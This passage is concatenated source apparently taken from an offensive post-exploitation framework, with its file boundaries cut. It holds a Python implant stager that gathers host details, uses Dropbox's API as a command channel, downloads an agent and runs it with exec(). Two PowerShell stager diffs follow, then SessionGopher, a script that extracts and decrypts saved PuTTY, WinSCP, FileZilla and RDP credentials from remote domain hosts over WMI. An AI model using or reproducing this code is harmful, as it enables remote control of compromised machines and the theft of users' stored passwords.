0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d]
def __init__(self, key):
if len(key) not in (16, 24, 32):
raise ValueError('Invalid key size')
rounds = self.number_of_rounds[len(key)]
# Encryption round keys
self._Ke = [[0] * 4 for i in xrange(rounds + 1)]
# Decryption round keys
self._Kd = [[0] * 4 for i in xrange(rounds + 1)]
round_key_count = (rounds + 1) * 4
KC = len(key) // 4
# Convert the key into ints
tk = [struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4)]
# Copy values into round key arrays
for i in xrange(0, KC):
self._Ke[i // 4][i % 4] = tk[i]
self._Kd[rounds - (i // 4)][i % 4] = tk[i]
# Key expansion (fips-197 section 5.2)
rconpointer = 0
t = KC
while t < round_key_count:
tt = tk[KC - 1]
tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^
(self.S[(tt >> 8) & 0xFF] << 16) ^
(self.S[ tt & 0xFF] << 8) ^
self.S[(tt >> 24) & 0xFF] ^
(self.rcon[rconpointer] << 24))
rconpointer += 1
if KC != 8:
for i in xrange(1, KC):
tk[i] ^= tk[i - 1]
# Key expansion for 256-bit keys is "slightly different" (fips-197)
else:
for i in xrange(1, KC // 2):
tk[i] ^= tk[i - 1]
tt = tk[KC // 2 - 1]
tk[KC // 2] ^= (self.S[ tt & 0xFF] ^
(self.S[(tt >> 8) & 0xFF] << 8) ^
(self.S[(tt >> 16) & 0xFF] << 16) ^
(self.S[(tt >> 24) & 0xFF] << 24))
for i in xrange(KC // 2 + 1, KC):
tk[i] ^= tk[i - 1]
# Copy values into round key arrays
j = 0
while j < KC and t < round_key_count:
self._Ke[t // 4][t % 4] = tk[j]
self._Kd[rounds - (t // 4)][t % 4] = tk[j]
j += 1
t += 1
# Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)
for r in xrange(1, rounds):
for j in xrange(0, 4):
tt = self._Kd[r][j]
self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
self.U2[(tt >> 16) & 0xFF] ^
self.U3[(tt >> 8) & 0xFF] ^
self.U4[ tt & 0xFF])
def encrypt(self, plaintext):
'Encrypt a block of plain text using the AES block cipher.'
if len(plaintext) != 16:
raise ValueError('wrong block length')
rounds = len(self._Ke) - 1
(s1, s2, s3) = [1, 2, 3]
a = [0, 0, 0, 0]
# Convert plaintext to (ints ^ key)
t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]
# Apply round transforms
for r in xrange(1, rounds):
for i in xrange(0, 4):
a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^
self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^
self.T4[ t[(i + s3) % 4] & 0xFF] ^
self._Ke[r][i])
t = copy.copy(a)
# The last round is special
result = []
for i in xrange(0, 4):
tt = self._Ke[rounds][i]
result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
return result
def decrypt(self, ciphertext):
'Decrypt a block of cipher text using the AES block cipher.'
if len(ciphertext) != 16:
raise ValueError('wrong block length')
rounds = len(self._Kd) - 1
(s1, s2, s3) = [3, 2, 1]
a = [0, 0, 0, 0]
# Convert ciphertext to (ints ^ key)
t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
# Apply round transforms
for r in xrange(1, rounds):
for i in xrange(0, 4):
a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^
self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^
self.T8[ t[(i + s3) % 4] & 0xFF] ^
self._Kd[r][i])
t = copy.copy(a)
# The last round is special
result = []
for i in xrange(0, 4):
tt = self._Kd[rounds][i]
result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
return result
def decrypt(self, ciphertext):
if len(ciphertext) != 16:
raise ValueError('wrong block length')
rounds = len(self._Kd) - 1
(s1, s2, s3) = [3, 2, 1]
a = [0, 0, 0, 0]
# Convert ciphertext to (ints ^ key)
t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
# Apply round transforms
for r in xrange(1, rounds):
for i in xrange(0, 4):
a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^
self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^
self.T8[ t[(i + s3) % 4] & 0xFF] ^
self._Kd[r][i])
t = copy.copy(a)
# The last round is special
result = [ ]
for i in xrange(0, 4):
tt = self._Kd[rounds][i]
result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
return result
class AESBlockModeOfOperation(object):
'''Super-class for AES modes of operation that require blocks.'''
def __init__(self, key):
self._aes = AES(key)
def decrypt(self, ciphertext):
raise Exception('not implemented')
def encrypt(self, plaintext):
raise Exception('not implemented')
class AESModeOfOperationCBC(AESBlockModeOfOperation):
name = "Cipher-Block Chaining (CBC)"
def __init__(self, key, iv=None):
if iv is None:
self._last_cipherblock = [0] * 16
elif len(iv) != 16:
raise ValueError('initialization vector must be 16 bytes')
else:
self._last_cipherblock = _string_to_bytes(iv)
AESBlockModeOfOperation.__init__(self, key)
def encrypt(self, plaintext):
if len(plaintext) != 16:
raise ValueError('plaintext block must be 16 bytes')
plaintext = _string_to_bytes(plaintext)
precipherblock = [(p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock)]
self._last_cipherblock = self._aes.encrypt(precipherblock)
return _bytes_to_string(self._last_cipherblock)
def decrypt(self, ciphertext):
if len(ciphertext) != 16:
raise ValueError('ciphertext block must be 16 bytes')
cipherblock = _string_to_bytes(ciphertext)
plaintext = [(p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock)]
self._last_cipherblock = cipherblock
return _bytes_to_string(plaintext)
def CBCenc(aesObj, plaintext, base64=False):
# break the blocks in 16 byte chunks, padding the last chunk if necessary
blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)]
blocks[-1] = append_PKCS7_padding(blocks[-1])
ciphertext = ""
for block in blocks:
ciphertext += aesObj.encrypt(block)
return ciphertext
def CBCdec(aesObj, ciphertext, base64=False):
# break the blocks in 16 byte chunks, padding the last chunk if necessary
blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)]
plaintext = ""
for x in xrange(0, len(blocks)-1):
plaintext += aesObj.decrypt(blocks[x])
plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1]))
return plaintext
def getIV(len=16):
return ''.join(chr(random.randint(0, 255)) for _ in range(len))
def aes_encrypt(key, data):
"""
Generate a random IV and new AES cipher object with the given
key, and return IV + encryptedData.
"""
IV = getIV()
aes = AESModeOfOperationCBC(key, iv=IV)
return IV + CBCenc(aes, data)
def aes_encrypt_then_hmac(key, data):
"""
Encrypt the data then calculate HMAC over the ciphertext.
"""
data = aes_encrypt(key, data)
mac = hmac.new(str(key), data, hashlib.sha256).digest()
return data + mac[0:10]
def aes_decrypt(key, data):
"""
Generate an AES cipher object, pull out the IV from the data
and return the unencrypted data.
"""
IV = data[0:16]
aes = AESModeOfOperationCBC(key, iv=IV)
return CBCdec(aes, data[16:])
def verify_hmac(key, data):
"""
Verify the HMAC supplied in the data with the given key.
"""
if len(data) > 20:
mac = data[-10:]
data = data[:-10]
expected = hmac.new(key, data, hashlib.sha256).digest()[0:10]
# Double HMAC to prevent timing attacks. hmac.compare_digest() is
# preferable, but only available since Python 2.7.7.
return hmac.new(str(key), expected).digest() == hmac.new(str(key), mac).digest()
else:
return False
def aes_decrypt_and_verify(key, data):
"""
Decrypt the data, but only if it has a valid MAC.
"""
if len(data) > 32 and verify_hmac(key, data):
return aes_decrypt(key, data[:-10])
raise Exception("Invalid ciphertext received.")
def rc4(key, data):
"""
Decrypt/encrypt the passed data using RC4 and the given key.
"""
S,j,out=range(256),0,[]
for i in range(256):
j=(j+S[i]+ord(key[i%len(key)]))%256
S[i],S[j]=S[j],S[i]
i=j=0
for char in data:
i=(i+1)%256
j=(j+S[i])%256
S[i],S[j]=S[j],S[i]
out.append(chr(ord(char)^S[(S[i]+S[j])%256]))
return ''.join(out)
def parse_routing_packet(stagingKey, data):
"""
Decodes the rc4 "routing packet" and parses raw agent data into:
{sessionID : (language, meta, additional, [encData]), ...}
Routing packet format:
+---------+-------------------+--------------------------+
| RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ...
+---------+-------------------+--------------------------+
| 4 | 16 | RC4 length |
+---------+-------------------+--------------------------+
RC4s(RoutingData):
+-----------+------+------+-------+--------+
| SessionID | Lang | Meta | Extra | Length |
+-----------+------+------+-------+--------+
| 8 | 1 | 1 | 2 | 4 |
+-----------+------+------+-------+--------+
"""
if data:
results = {}
offset = 0
# ensure we have at least the 20 bytes for a routing packet
if len(data) >= 20:
while True:
if len(data) - offset < 20:
break
RC4IV = data[0+offset:4+offset]
RC4data = data[4+offset:20+offset]
routingPacket = rc4(RC4IV+stagingKey, RC4data)
sessionID = routingPacket[0:8]
# B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long
(language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:])
if length < 0:
encData = None
else:
encData = data[(20+offset):(20+offset+length)]
results[sessionID] = (LANGUAGE_IDS.get(language, 'NONE'), META_IDS.get(meta, 'NONE'), ADDITIONAL_IDS.get(additional, 'NONE'), encData)
# check if we're at the end of the packet processing
remainingData = data[20+offset+length:]
if not remainingData or remainingData == '':
break
offset += 20 + length
return results
else:
print "[*] parse_agent_data() data length incorrect: %s" % (len(data))
return None
else:
print "[*] parse_agent_data() data is None"
return None
def build_routing_packet(stagingKey, sessionID, meta=0, additional=0, encData=''):
"""
Takes the specified parameters for an RC4 "routing packet" and builds/returns
an HMAC'ed RC4 "routing packet".
packet format:
Routing Packet:
+---------+-------------------+--------------------------+
| RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ...
+---------+-------------------+--------------------------+
| 4 | 16 | RC4 length |
+---------+-------------------+--------------------------+
RC4s(RoutingData):
+-----------+------+------+-------+--------+
| SessionID | Lang | Meta | Extra | Length |
+-----------+------+------+-------+--------+
| 8 | 1 | 1 | 2 | 4 |
+-----------+------+------+-------+--------+
"""
# binary pack all of the passed config values as unsigned numbers
# B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long
data = sessionID + struct.pack("=BBHL", 2, meta, additional, len(encData))
RC4IV = os.urandom(4)
key = RC4IV + stagingKey
rc4EncData = rc4(key, data)
packet = RC4IV + rc4EncData + encData
return packet
def post_message(uri, data):
global headers
req = urllib2.Request(uri)
for key, value in headers.iteritems():
req.add_header("%s"%(key),"%s"%(value))
if data:
req.add_data(data)
o=urllib2.build_opener()
o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))
urllib2.install_opener(o)
return (urllib2.urlopen(req).read())
def get_sysinfo(nonce='00000000'):
# nonce | listener | domainname | username | hostname | internal_ip | os_details | os_details | high_integrity | process_name | process_id | language | language_version
__FAILED_FUNCTION = '[FAILED QUERY]'
try:
username = pwd.getpwuid(os.getuid())[0]
except Exception as e:
username = __FAILED_FUNCTION
try:
uid = os.popen('id -u').read().strip()
except Exception as e:
uid = __FAILED_FUNCTION
try:
highIntegrity = "True" if (uid == "0") else False
except Exception as e:
highIntegrity = __FAILED_FUNCTION
try:
osDetails = os.uname()
except Exception as e:
osDetails = __FAILED_FUNCTION
try:
hostname = osDetails[1]
except Exception as e:
hostname = __FAILED_FUNCTION
try:
internalIP = socket.gethostbyname(socket.gethostname())
except Exception as e:
internalIP = __FAILED_FUNCTION
try:
osDetails = ",".join(osDetails)
except Exception as e:
osDetails = __FAILED_FUNCTION
try:
processID = os.getpid()
except Exception as e:
processID = __FAILED_FUNCTION
try:
temp = sys.version_info
pyVersion = "%s.%s" % (temp[0],temp[1])
except Exception as e:
pyVersion = __FAILED_FUNCTION
language = 'python'
cmd = 'ps %s' % (os.getpid())
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
out = ps.stdout.read()
parts = out.split("\n")
ps.stdout.close()
if len(parts) > 2:
processName = " ".join(parts[1].split()[4:])
else:
processName = 'python'
return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % (nonce, '', '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language, pyVersion)
# generate a randomized sessionID
sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(8))
# server configuration information
stagingFolder = "REPLACE_STAGING_FOLDER"
stagingKey = "REPLACE_STAGING_KEY"
profile = 'REPLACE_PROFILE'
pollInterval = int('REPLACE_POLLING_INTERVAL')
t = 'REPLACE_API_TOKEN'
parts = profile.split('|')
taskURIs = parts[0].split(',')
userAgent = parts[1]
headersRaw = parts[2:]
# global header dictionary
# sessionID is set by stager.py
# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)}
headers = {'User-Agent': userAgent}
# parse the headers into the global header dictionary
for headerRaw in headersRaw:
try:
headerKey = headerRaw.split(":")[0]
headerValue = headerRaw.split(":")[1]
if headerKey.lower() == "cookie":
headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue)
else:
headers[headerKey] = headerValue
except:
pass
headers['Authorization'] = "Bearer %s" % (t)
headers['Content-Type'] = "application/octet-stream"
headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_1.txt\"}" % (stagingFolder, sessionID)
# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server
clientPub = DiffieHellman()
hmacData = aes_encrypt_then_hmac(stagingKey, str(clientPub.publicKey))
# RC4 routing packet:
# meta = STAGE1 (2)
routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=2, encData=hmacData)
try:
# response = post_message(postURI, routingPacket+hmacData)
response = post_message("https://content.dropboxapi.com/2/files/upload", routingPacket)
except:
exit()
#(urllib2.urlopen(urllib2.Request(uri, data, headers))).read()
time.sleep(pollInterval * 2)
try:
del headers['Content-Type']
headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_2.txt\"}" % (stagingFolder, sessionID)
raw = post_message("https://content.dropboxapi.com/2/files/download", data=None)
except:
exit()
# decrypt the server's public key and the server nonce
packet = aes_decrypt_and_verify(stagingKey, raw)
nonce = packet[0:16]
serverPub = int(packet[16:])
# calculate the shared secret
clientPub.genKey(serverPub)
key = clientPub.key
# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo)
hmacData = aes_encrypt_then_hmac(clientPub.key, get_sysinfo(nonce=str(int(nonce)+1)))
# RC4 routing packet:
# sessionID = sessionID
# language = PYTHON (2)
# meta = STAGE2 (3)
# extra = 0
# length = len(length)
routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=3, encData=hmacData)
headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_3.txt\"}" % (stagingFolder, sessionID)
headers['Content-Type'] = "application/octet-stream"
time.sleep(pollInterval * 2)
response = post_message("https://content.dropboxapi.com/2/files/upload", routingPacket)
time.sleep(pollInterval * 2)
headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_4.txt\"}" % (stagingFolder, sessionID)
del headers['Content-Type']
raw = post_message("https://content.dropboxapi.com/2/files/download", data=None)
time.sleep(pollInterval)
del headers['Dropbox-API-Arg']
headers['Content-Type'] = "application/json"
datastring = "{\"path\":\"%s/%s_4.txt\"}" % (stagingFolder, sessionID)
response = post_message("https://api.dropboxapi.com/2/files/delete",data=datastring)
# step 6 -> server sends HMAC(AES)
agent = aes_decrypt_and_verify(key, raw)
exec(agent)

View File

@ -38,7 +38,12 @@ function Start-Negotiate {
# extract the IV
$IV = $In[0..15];
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
try {
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
}
catch {
$AES=New-Object System.Security.Cryptography.RijndaelManaged;
}
$AES.Mode = "CBC";
$AES.Key = $e.GetBytes($Key);
$AES.IV = $IV;
@ -57,7 +62,13 @@ function Start-Negotiate {
$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto
# $SK -> staging key for this server
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
try {
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
}
catch {
$AES=New-Object System.Security.Cryptography.RijndaelManaged;
}
$IV = [byte] 0..255 | Get-Random -count 16;
$AES.Mode="CBC";
$AES.Key=$SKB;
@ -126,7 +137,12 @@ function Start-Negotiate {
$nonce=[String]([long]$nonce + 1);
# create a new AES object
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
try {
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
}
catch {
$AES=New-Object System.Security.Cryptography.RijndaelManaged;
}
$IV = [byte] 0..255 | Get-Random -Count 16;
$AES.Mode="CBC";
$AES.Key=$e.GetBytes($key);

View File

@ -38,7 +38,12 @@ function Start-Negotiate {
# extract the IV
$IV = $In[0..15];
$AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
try {
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
}
catch {
$AES=New-Object System.Security.Cryptography.RijndaelManaged;
}
$AES.Mode = "CBC";
$AES.Key = $e.GetBytes($Key);
$AES.IV = $IV;
@ -57,7 +62,12 @@ function Start-Negotiate {
$SKB=$e.GetBytes($SK);
# set up the AES/HMAC crypto
# $SK -> staging key for this server
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
try {
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
}
catch {
$AES=New-Object System.Security.Cryptography.RijndaelManaged;
}
$IV = [byte] 0..255 | Get-Random -count 16;
$AES.Mode="CBC";
$AES.Key=$SKB;
@ -123,7 +133,12 @@ function Start-Negotiate {
$nonce=[String]([long]$nonce + 1);
# create a new AES object
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
try {
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
}
catch {
$AES=New-Object System.Security.Cryptography.RijndaelManaged;
}
$IV = [byte] 0..255 | Get-Random -Count 16;
$AES.Mode="CBC";
$AES.Key=$e.GetBytes($key);

View File

@ -0,0 +1,939 @@
<#
.SYNPOSIS
Extracts and decrypts saved session information for software typically used to access Unix systems.
.DESCRIPTION
Queries HKEY_USERS for PuTTY, WinSCP, and Remote Desktop saved sessions. Decrypts saved passwords for WinSCP.
Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords.
In Thorough mode, identifies PuTTY private key (.ppk), Remote Desktop Connection (.rdp), and RSA token (.sdtid) files, and extracts private key and session information.
Can be run remotely using the -iL (supply input list of computers) or -AllDomain (run against all AD-joined computers) flags.
Must either provide credentials (-u and -p for username and password) of an admin on target boxes, or run script in the context of
a privileged user on the target boxes, in which case no credentials are needed.
.Notes
Author: Brandon Arvanaghi
Thanks:
Brice Daniels, Pan Chan - collaborating on idea
Christopher Truncer - helping with WMI
.PARAMETER o
Generates CSV output.
.PARAMETER Thorough
Searches entire filesystem for certain file extensions.
.PARAMETER u
Domain\username (e.g. superduper.com\a-jerry).
.PARAMETER p
Password for domain user (if username provided).
.PARAMETER iL
If you want to supply a list of hosts to run SessionGopher against, provide the path to that file here. Each host should be separated by a newline in the file.
.PARAMETER Target
If you only want to run SessionGopher against once specific host.
.PARAMETER AllDomain
Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them.
#>
function Invoke-SessionGopher {
param (
[switch]$o, # Generate CSV output
[switch]$Thorough, # Searches entire filesystem for certain file extensions
[string]$u, # Domain\username (e.g. superduper.com\a-jerry)
[string]$p, # Password of domain account
[string]$iL, # A file of hosts to run SessionGopher against remotely, each host separated by a newline in the file
[string]$Target, # If you want to run SessionGopher against one specific host
[switch]$AllDomain # Run across all active directory
)
Write-Output '
o_
/ ". SessionGopher - RDP, WinSCP, FileZilla, PuTTY, SuperPuTTY,
," _-" .sdtid, .rdp, .ppk saved session & password extractor
," m m
..+ ) Brandon Arvanaghi
`m..m Twitter: @arvanaghi | arvanaghi.com
'
if ($o) {
$OutputDirectory = "SessionGopher (" + (Get-Date -Format "HH.mm.ss") + ")"
New-Item -ItemType Directory $OutputDirectory | Out-Null
New-Item ($OutputDirectory + "\PuTTY.csv") -Type File | Out-Null
New-Item ($OutputDirectory + "\SuperPuTTY.csv") -Type File | Out-Null
New-Item ($OutputDirectory + "\WinSCP.csv") -Type File | Out-Null
New-Item ($OutputDirectory + "\FileZilla.csv") -Type File | Out-Null
New-Item ($OutputDirectory + "\RDP.csv") -Type File | Out-Null
if ($Thorough) {
New-Item ($OutputDirectory + "\PuTTY ppk Files.csv") -Type File | Out-Null
New-Item ($OutputDirectory + "\Microsoft rdp Files.csv") -Type File | Out-Null
New-Item ($OutputDirectory + "\RSA sdtid Files.csv") -Type File | Out-Null
}
}
if ($u -and $p) {
$Password = ConvertTo-SecureString $p -AsPlainText -Force
$Credentials = New-Object -Typename System.Management.Automation.PSCredential -ArgumentList $u, $Password
}
# Value for HKEY_USERS hive
$HKU = 2147483651
# Value for HKEY_LOCAL_MACHINE hive
$HKLM = 2147483650
$PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions"
$WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
$RDPPathEnding = "\SOFTWARE\Microsoft\Terminal Server Client\Servers"
if ($iL -or $AllDomain -or $Target) {
# Whether we read from an input file or query active directory
$Reader = ""
if ($AllDomain) {
$Reader = GetComputersFromActiveDirectory
} elseif ($iL) {
$Reader = Get-Content ((Resolve-Path $iL).Path)
} elseif ($Target) {
$Reader = $Target
}
$optionalCreds = @{}
if ($Credentials) {
$optionalCreds['Credential'] = $Credentials
}
foreach ($RemoteComputer in $Reader) {
if ($AllDomain) {
# Extract just the name from the System.DirectoryServices.SearchResult object
$RemoteComputer = $RemoteComputer.Properties.name
if (!$RemoteComputer) { Continue }
}
Write-Output "[+] Digging on $RemoteComputer..."
$SIDS = Invoke-WmiMethod -Class 'StdRegProv' -Name 'EnumKey' -ArgumentList $HKU,'' -ComputerName $RemoteComputer @optionalCreds | Select-Object -ExpandProperty sNames | Where-Object {$_ -match 'S-1-5-21-[\d\-]+$'}
foreach ($SID in $SIDs) {
# Get the username for SID we discovered has saved sessions
$MappedUserName = try { (Split-Path -Leaf (Split-Path -Leaf (GetMappedSID))) } catch {}
$Source = (($RemoteComputer + "\" + $MappedUserName) -Join "")
# Created for each user found. Contains all sessions information for that user.
$UserObject = New-Object PSObject
<#
PuTTY: contains hostname and usernames
SuperPuTTY: contains username, hostname, relevant protocol information, decrypted passwords if stored
RDP: contains hostname and username of sessions
FileZilla: hostname, username, relevant protocol information, decoded passwords if stored
WinSCP: contains hostname, username, protocol, deobfuscated password if stored and no master password used
#>
$ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList
$ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList
$ArrayOfRDPSessions = New-Object System.Collections.ArrayList
$ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList
$ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList
# Construct tool registry/filesystem paths from SID or username
$RDPPath = $SID + $RDPPathEnding
$PuTTYPath = $SID + $PuTTYPathEnding
$WinSCPPath = $SID + $WinSCPPathEnding
$SuperPuTTYFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\Documents\\SuperPuTTY\\' AND FileName='Sessions' AND Extension='XML'"
$FileZillaFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\AppData\\Roaming\\FileZilla\\' AND FileName='sitemanager' AND Extension='XML'"
$RDPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$RDPPath @optionalCreds
$PuTTYSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$PuTTYPath @optionalCreds
$WinSCPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$WinSCPPath @optionalCreds
$SuperPuTTYPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $SuperPuTTYFilter -ComputerName $RemoteComputer @optionalCreds | Select Name)
$FileZillaPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $FileZillaFilter -ComputerName $RemoteComputer @optionalCreds | Select Name)
# If any WinSCP saved sessions exist on this box...
if (($WinSCPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
# Get all sessions
$WinSCPSessions = $WinSCPSessions | Select-Object -ExpandProperty sNames
foreach ($WinSCPSession in $WinSCPSessions) {
$WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password
$WinSCPSessionObject.Source = $Source
$WinSCPSessionObject.Session = $WinSCPSession
$Location = $WinSCPPath + "\" + $WinSCPSession
$WinSCPSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue
$WinSCPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserName" @optionalCreds).sValue
$WinSCPSessionObject.Password = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"Password" @optionalCreds).sValue
if ($WinSCPSessionObject.Password) {
$MasterPassPath = $SID + "\Software\Martin Prikryl\WinSCP 2\Configuration\Security"
$MasterPassUsed = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetDWordValue -ArgumentList $HKU,$MasterPassPath,"UseMasterPassword" @optionalCreds).uValue
if (!$MasterPassUsed) {
$WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password)
} else {
$WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery"
}
}
[void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject)
} # For Each WinSCP Session
if ($ArrayOfWinSCPSessions.count -gt 0) {
$UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions
if ($o) {
$ArrayOfWinSCPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation
} else {
Write-Output "WinSCP Sessions"
$ArrayOfWinSCPSessions | Select-Object * | Format-List | Out-String
}
}
} # If path to WinSCP exists
if (($PuTTYSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) {
# Get all sessions
$PuTTYSessions = $PuTTYSessions | Select-Object -ExpandProperty sNames
foreach ($PuTTYSession in $PuTTYSessions) {
$PuTTYSessionObject = "" | Select-Object -Property Source,Session,Hostname
$Location = $PuTTYPath + "\" + $PuTTYSession
$PuTTYSessionObject.Source = $Source
$PuTTYSessionObject.Session = $PuTTYSession
$PuTTYSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue
[void]$ArrayOfPuTTYSessions.Add($PuTTYSessionObject)
}
if ($ArrayOfPuTTYSessions.count -gt 0) {
$UserObject | Add-Member -MemberType NoteProperty -Name "PuTTY Sessions" -Value $ArrayOfPuTTYSessions
if ($o) {
